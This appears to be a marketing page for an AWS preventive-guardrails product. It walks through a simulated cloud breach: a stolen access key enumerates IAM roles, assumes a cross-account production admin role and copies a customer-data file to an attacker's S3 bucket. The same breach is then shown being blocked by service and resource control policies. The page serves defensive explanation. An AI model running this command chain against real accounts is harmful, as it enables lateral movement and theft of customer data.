01
Attackers automated.
Frontier models enumerate IAM paths, trust chains, and misconfigurations in minutes. The cloud attack surface moved from payload to policy — and policy is where AI-assisted attackers now live.
Agentic Cloud Security · Preventive Guardrails
Attackers got AI. Your defense needs automation.
InstaSecure is the Guardrails platform for AWS — automated, organization-wide policy that makes whole classes of attack structurally impossible. Stolen credentials go inert. Rogue agents hit a wall. Privilege drift loses its blast radius. Zero code. Minutes to enforced.
Available on AWS Marketplace · No credit card · Bills via your AWS account
A Tuesday in 2026
An attacker has 90 seconds.
What happens next is up to you.
A stolen access key. An AI agent. Two of your AWS accounts. Watch the attack unfold — then watch it fail.
Attacker · stolen credential
AWS Account 1
dev-sandbox
111122223333
Foothold
IAM roles & trust policies enumerated
Cross-account role found discovered
Lateral move
AWS Account 2
prod-payments
444455556666
Target
Production admin session assumed
Customer data · S3 4.2 GB out
Customer data exfiltrated
$ aws sts get-caller-identity {
"UserId": "AIDA2XMPLE4ZK7QVBGH3T",
"Account": "111122223333",
"Arn": "arn:aws:iam::111122223333:user/ci-deploy"
} $ aws iam list-roles --query 'Roles[].RoleName' --output text ci-deploy-runner lambda-basic-exec eks-node-group prod-payments-crossaccount … 47 roles returned
$ aws iam get-role-policy --role-name prod-payments-crossaccount \
--policy-name CrossAccountAccess --query 'PolicyDocument.Statement' [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::444455556666:role/prod-admin"
}
] $ aws sts assume-role --role-arn arn:aws:iam::444455556666:role/prod-admin \
--role-session-name lateral-move {
"AssumedRoleUser": {
"Arn": "arn:aws:sts::444455556666:assumed-role/prod-admin/lateral-move"
},
"Credentials": { "AccessKeyId": "ASIA…", "Expiration": "…" }
}
$ aws sts get-caller-identity
"Account": "444455556666" ← now in production $ aws s3 ls s3://prod-payments-customer-data/ 2026-08-14 03:11:52 1.1 GiB transactions-2026-q2.parquet 2026-08-19 22:04:07 4.2 GiB customers.csv 2026-08-20 06:30:11 380 MiB cardholder-tokens.json
$ aws s3 cp s3://prod-payments-customer-data/customers.csv \
s3://exfil-9c2a/ copy: s3://prod-payments-customer-data/customers.csv to: s3://exfil-9c2a/customers.csv 4.2 GiB / 4.2 GiB 100%
The breach finishes before the alert begins.
90s
to exfiltration
0
alerts fired
7
API calls
Attacker · stolen credential
AWS Account 1
dev-sandbox
111122223333
Foothold
IAM enumeration attempt denied · SCP
Credential rendered inert data perimeter
Blocked at perimeter
AWS Account 2
prod-payments
444455556666
Protected
Production admin · sealed no path
Customer data · safe no path out
Customer data exfiltrated
$ aws sts get-caller-identity {
"UserId": "AIDA2XMPLE4ZK7QVBGH3T",
"Account": "111122223333",
"Arn": "arn:aws:iam::111122223333:user/ci-deploy"
}
Never reached — the chain already ended at step 02.
No guardrail here
No guardrail can stop this one — and that is by design, not a gap. AWS documents sts:GetCallerIdentity as requiring no permissions: an explicit deny still returns the caller identity, because the same information comes back either way. Prevention has to land on what the credential can *do*, never on what the attacker is allowed to learn.
$ aws iam list-roles --query 'Roles[].RoleName' --output text ci-deploy-runner lambda-basic-exec eks-node-group prod-payments-crossaccount … 47 roles returned
An error occurred (AccessDenied) when calling the ListRoles operation: User: arn:aws:iam::111122223333:user/ci-deploy is not authorized to perform: iam:ListRoles on resource: arn:aws:iam::111122223333:role/ with an explicit deny in a service control policy
Never reached — the chain already ended at step 02.
IS-PERIMETER-PV-16 SCP high Enforced
Restrict IAM user credentials to trusted networks
- Lever
- aws:SourceIp / aws:SourceVpc, scoped to arn:aws:iam::*:user/*
This is the first call in the chain that requires authorization at all, and the control gates on the principal's network origin rather than on the action. It is not "we blocked ListRoles" — nobody does that, it breaks every legitimate tool in the org. It is that a long-term access key used from outside the corporate CIDR or an expected VPC is inert for every call that follows. One control, positioned at the first authorized call, would end the entire chain here.
$ aws iam get-role-policy --role-name prod-payments-crossaccount \
--policy-name CrossAccountAccess --query 'PolicyDocument.Statement' [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::444455556666:role/prod-admin"
}
]
Never reached — the chain already ended at step 02.
No guardrail here
Deliberately no guardrail here. Reading IAM policy documents is ordinary operations — every deployment tool, access reviewer and least-privilege analyser does it. A control that blocked it would break the org to slow an attacker down by seconds. Reconnaissance is not where prevention belongs; the next step is.
$ aws sts assume-role --role-arn arn:aws:iam::444455556666:role/prod-admin \
--role-session-name lateral-move {
"AssumedRoleUser": {
"Arn": "arn:aws:sts::444455556666:assumed-role/prod-admin/lateral-move"
},
"Credentials": { "AccessKeyId": "ASIA…", "Expiration": "…" }
}
$ aws sts get-caller-identity
"Account": "444455556666" ← now in production An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::111122223333:user/ci-deploy is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::444455556666:role/prod-admin with an explicit deny in a service control policy
Never reached — the chain already ended at step 02.
IS-IAM-PV-10 SCP critical Would deny here
Protect designated privileged IAM roles from modification or assumption
- Lever
- Deny sts:AssumeRole on name-matched privileged roles, except one designated principal
The privilege hinge — the one step the whole attack depends on. Everything before it is reconnaissance in a sandbox; everything after it is production. What makes this the right wall is that an SCP sits *above* the role's trust policy: the deny holds no matter what the trust policy says. A misconfigured trust policy is the usual way this attack succeeds, and here that misconfiguration stops being reachable.
$ aws s3 ls s3://prod-payments-customer-data/ 2026-08-14 03:11:52 1.1 GiB transactions-2026-q2.parquet 2026-08-19 22:04:07 4.2 GiB customers.csv 2026-08-20 06:30:11 380 MiB cardholder-tokens.json
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: User: arn:aws:sts::444455556666:assumed-role/prod-admin/lateral-move is not authorized to perform: s3:ListBucket on resource: arn:aws:s3:::prod-payments-customer-data with an explicit deny in a resource control policy
Never reached — the chain already ended at step 02.
IS-PERIMETER-PV-4 RCP high Would deny here
Network perimeter (VpceOrgID) — deny resource access from unexpected networks
- Lever
- aws:VpceOrgID / corporate CIDR, enforced on the resource side
By this point the attacker holds a completely legitimate, fully privileged production session. Nothing about the credential is wrong any more, so identity-based checks have nothing left to catch. The only discriminator remaining is where the request came from — and this one is enforced on the *resource* side, so it holds even if an identity policy or bucket policy would have allowed the call. Maximum privilege, still unusable.
$ aws s3 cp s3://prod-payments-customer-data/customers.csv \
s3://exfil-9c2a/ copy: s3://prod-payments-customer-data/customers.csv to: s3://exfil-9c2a/customers.csv 4.2 GiB / 4.2 GiB 100%
An error occurred (AccessDenied) when calling the PutObject operation: User: arn:aws:sts::444455556666:assumed-role/prod-admin/lateral-move is not authorized to perform: s3:PutObject on resource: arn:aws:s3:::exfil-9c2a/customers.csv with an explicit deny in a service control policy
Never reached — the chain already ended at step 02.
IS-PERIMETER-PV-9 SCP high Would deny here
Resource perimeter — restrict org principals to trusted resources
- Lever
- aws:ResourceOrgID must equal your organization
The last line, with every layer above it assumed away: valid production credentials, an accepted network, a successful read. One invariant is left — where the data is allowed to go. Org principals may only act on resources inside the org, so the copy into the attacker's own account fails even though everything preceding it worked.
Layer 1 of 4 — IS-PERIMETER-PV-16 ends the
chain at step 02. Switch it off to see what stands behind it.
Same attacker. Same credential. No path exists.
1 of 7
API calls succeeded
0
data exposed
4
guardrail layers enforced
“You can't out-detect an AI.
You can out-prevent one. Guardrails are how.— The InstaSecure thesis
The shift
The attack economy flipped. The defense stack didn't.
Three things changed in 24 months. Most security programs were built for the world that existed before them.
02
Defenders drowned.
Non-human identities — service roles, pipelines, third-parties, AI agents — already outnumber humans 20–50 to 1. Every new agent is a new credential. SOC alert volume rises faster than headcount ever can.
03
Detection lost its economics.
Finding threats faster than attackers move is a losing race against AI-accelerated adversaries. Mean-time-to-detect becomes meaningless when mean-time-to-compromise collapses to minutes.
The choice
Two ways to stop a misconfiguration. Only one stops an attacker.
The industry moved from scanning to preventing — because there's no other way to keep up with AI-speed attackers.
Gates
- — CI/CD scanners, IaC linters, PR blockers at deploy time
- — Slow developers to catch attackers who don't use your pipeline
- — Cover greenfield code only — legacy and runtime drift stay exposed
- — Every fix is a ticket and a developer hour
Guardrails
- Policy enforced at the organization edge, above every account
- Invisible to developers — zero pipeline friction, zero PR gates
- Cover every account, every resource, every future deployment
- One guardrail retires a whole class of findings, permanently
The platform
Five phases of guardrails. Wherever you are, there's a set for that.
50+ preventive AWS cloud security controls — service control policies (SCPs), resource control policies (RCPs), and data-perimeter guardrails — mapped to a maturity ladder and aligned with NIST, ISO 27001, CIS v8, and CSA CCM.
Basic Governance
Lock down the security services themselves. Nothing your team relies on can be silently disabled.
Mandatory 8 controls
Representative controls
- CloudTrail can never be disabled
- GuardDuty, Config, SecurityHub protected
- Billing & root-contact details frozen
- Critical IAM roles immutable
Attack Surface Reduction
Draw the line. Regions, services, and public-access defaults get explicit approval — or they're denied.
Strongly recommended 11 controls
Representative controls
- Deny non-approved AWS regions
- Deny non-approved AWS services
- Deny default VPC and subnet creation
- Enforce S3 public-access block
Best Practice Enforcement
Industry best practices stop being aspirational. Encryption everywhere, IMDSv2, no root, no new long-lived credentials.
Strongly recommended 12 controls
Representative controls
- Block S3 unencrypted object uploads
- Enforce EBS encryption, IMDSv2
- Prevent root-user activity outside assume-root
- Block new long-lived IAM users & keys
Advanced Attack Patterns
Eliminate the escalation paths and exfil routes attackers use — privilege escalation, destructive actions, backdoors.
Critical 10 controls
Representative controls
- Prevent IAM privilege escalation
- Enforce 30-day waiting period on KMS key deletion
- Limit high-impact destructive actions
- Block backdoor resource-policy modifications
Data Perimeter
Close the organization. Only trusted identities from trusted networks access trusted resources.
Critical 9 controls
Representative controls
- Trusted-resource + trusted-network policy
- Deny RAM shares outside the OU
- Block S3 access from outside the Organization
- Lock SAML and IAM federation creation
Where are you? Where most AWS orgs sit. The gap from here to phase 5 is where breaches happen.
Aligned with NISTISO 27001CIS v8CSA CCM
How it works
Zero code. Org-wide.
Minutes to enforced.
No pipeline changes. No developer tickets. Just policy, installed at the control plane.
Coexists with your stack
Your CSPM finds problems. InstaSecure retires categories of them.
You don't have to rip and replace. Install one preventive control (SCP, RCP, or data-perimeter rule), watch the class of finding stop recurring. Alert fatigue stops — not because you muted the alerts, but because the conditions that create them no longer exist.
Last 8 weeks · your CSPM, with InstaSecure installed
Same CSPM. Three categories quietly retired.
Findings stopped at source
−126
228 of 354
W1
W2
W3
W4
W5
W6
W7
W8
Public S3 bucket
12
9
14+ GUARDRAIL
11
13
10
12
9
−55of 90
Overly-permissive IAM
8
11
7
9
10
8
11
9
73 ongoing
CloudTrail disabled
12
14
11
13+ GUARDRAIL
15
12
14
11
−52of 102
Unencrypted RDS
4
5
3
4
6
5
4
5
36 ongoing
IMDSv1 enabled
7
5
6
9
7+ GUARDRAIL
8
6
5
−19of 53
3 categories retired · conditions no longer exist
CSPM connected + InstaSecure SCP
The economics
Prevention scales. Detection doesn't.
Defenders got AI too. It didn't close the gap — it let both sides scale, and attackers were never going to lose a speed race against triage. Prevention doesn't race. It pre-commits.
Risk × cost · over time, in the AI era
The exposure gap widens. The prevention line doesn't move.
Attacker capability Detection coverage Exposure window Prevention boundary
CSPM + SOC · even AI-augmented
-
Triage-bound
AI helps you review findings faster, not retire categories. Same volume, faster spin — the treadmill just runs at a higher RPM.
-
Sub-linear coverage
Every novel attack path becomes a rule after the first incident. Adversarial AI generates novel paths faster than any catalog can grow.
-
A race you can't win
Detection latency vs. exploit-at-machine-speed isn't a fair contest. The exposure window widens with every model release on the wrong side.
InstaSecure guardrails
-
Category retirement
One preventive control (SCP, RCP, or data-perimeter rule) eliminates a class of finding org-wide, forever. Not a faster fix — a structurally different fix.
-
Deterministic coverage
Impossibility doesn't degrade with attacker speed. A retired category stays retired against tomorrow's tools, too.
-
Pre-commits, doesn't react
The policy plane decides before the action runs. Tempo-independent by construction — there's nothing to outrun.
From the field
What security leaders are saying
"As a cloud security practitioner, an SSRF attack or data exfiltration keeps me up at night. I am thankful to see industry partners like InstaSecure working to help us sleep better."
Houston Hopkins
Sr Security Manager of Cloud Security
"InstaSecure helps customers deploy proactive to defeat attacks using compromised credentials, misconfigurations and zero-day vulnerabilities. I see this as a key preventative control for cloud security."
Tyler Pinckard
Data Protection Officer & Sr Manager of Engineering for DevOps & Security, SupportLogic
Self-serve on AWS
Already on AWS? Start free in minutes.
AWS Partner · AWS Qualified Software. Procurement-friendly — bill through your existing AWS account, no new vendor onboarding.
Start free trial on AWS Marketplace →
No credit card · Bills via your AWS account · Cancel anytime
Field notes
More on guardrails, agentic identity, and AWS perimeters
Deep dives
The techniques behind preventive cloud security
Field guides and use-case briefs on the AWS-native primitives that make whole classes of attack structurally impossible.
Solution
AWS Data Perimeter — definition and 3 pillars
Trusted identities, trusted resources, expected networks — the closed perimeter against stolen credentials.
Use case
Credential compromise on AWS — and how to stop it
Why valid stolen credentials defeat detection — and how preventive controls deny the action at the control plane.
Interactive simulator
SCPs and RCPs — try the AWS organizational policy gates
Click through six trust scenarios and watch which gate blocks each one — with a tabbed deep-dive on AWS evaluation logic.
Use case
AI-driven zero-day attacks — preventive defense
AI agents weaponize CVEs in hours. Preventive controls don't depend on knowing the vulnerability — they close the path.
Find your phase. Get your next 10 guardrails.
Four minutes of questions, one report. Which guardrails your AWS org is missing, which classes of attack you're exposed to, and the fastest path to enforcement.
No sales call to see the report. Book a threat model only if you want one.